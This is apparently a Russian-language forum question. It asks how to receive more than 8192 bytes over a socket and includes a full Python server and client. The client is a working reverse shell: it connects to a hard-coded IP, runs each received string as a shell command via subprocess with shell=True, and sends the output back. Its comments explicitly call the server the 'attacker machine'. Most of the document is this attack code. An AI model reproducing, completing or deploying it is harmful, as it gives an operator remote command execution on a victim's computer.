имеется два скрипта клиент и сервер.
Сервер отправляет команды на клиент, а клиент должен их выполнять отправлять вывод на сервер.
Далее описан один из примеровЖ
1.Сервер отправляет команду (ps -aux) на клиент
2.Клиент получает команду и выполяет ее. Затем отправляет результат на сервер. Сервер получает не всю информацию т.к есть ограничение в 8192 байта и часть информации не получена.
Вопрос следующий, как правильно получить всю информацию.
Server
HOST = '192.168.173.1'
PORT = 2016
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print ('Listening on 192.168.173.1:%s' % str(PORT))
s.listen(10)
conn, addr = s.accept()
print ('Connected by',addr)
data = conn.recv(8192)
while 1:
command = input("Enter shell command or quit: ")
conn.send(command.encode())
if command == "quit": break
data = conn.recv(8192)
print (data.decode())
conn.close()
Client
HOST = '192.168.173.1' # The remote host
PORT = 2016 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()